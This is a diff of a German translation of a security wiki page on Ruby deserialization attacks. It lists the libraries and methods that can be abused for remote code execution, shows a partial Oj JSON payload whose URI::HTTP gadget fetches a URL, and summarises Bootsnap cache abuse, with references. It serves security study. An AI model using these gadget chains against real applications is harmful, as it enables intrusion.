Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren, und die daher missbraucht werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die missbraucht werden kann, um RCE zu erhalten):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothek</strong></td><td><strong>Eingabedaten</strong></td><td><strong>Startmethode innerhalb der Klasse</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binär</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([siehe Anmerkungen zu json_create am Ende](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Grundbeispiel:
|
||||
Grundlegendes Beispiel:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -944,7 +944,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
|
||||
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die innerhalb ihrer `hash`-Funktion `to_s` aufruft, was `spec` aufruft, das `fetch_path` aufruft, wodurch es möglich war, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -982,7 +982,7 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [original post hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um das Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [original post hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Unten finden Sie eine kurze Zusammenfassung der Schritte, die im Artikel zum Ausnutzen einer Anfälligkeit für beliebige Dateischreibzugriffe durch Missbrauch des Bootsnap-Cachings detailliert beschrieben sind:
|
||||
|
||||
@ -1051,9 +1051,9 @@ Industrialisierte Gadget-Entdeckung:
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Trail of Bits – Marshal madness: Eine kurze Geschichte der Ruby-Deserialisierungs-Exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal-Kette: https://phrack.org/issues/69/12.html
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE über Ruby on Rails Active Storage unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user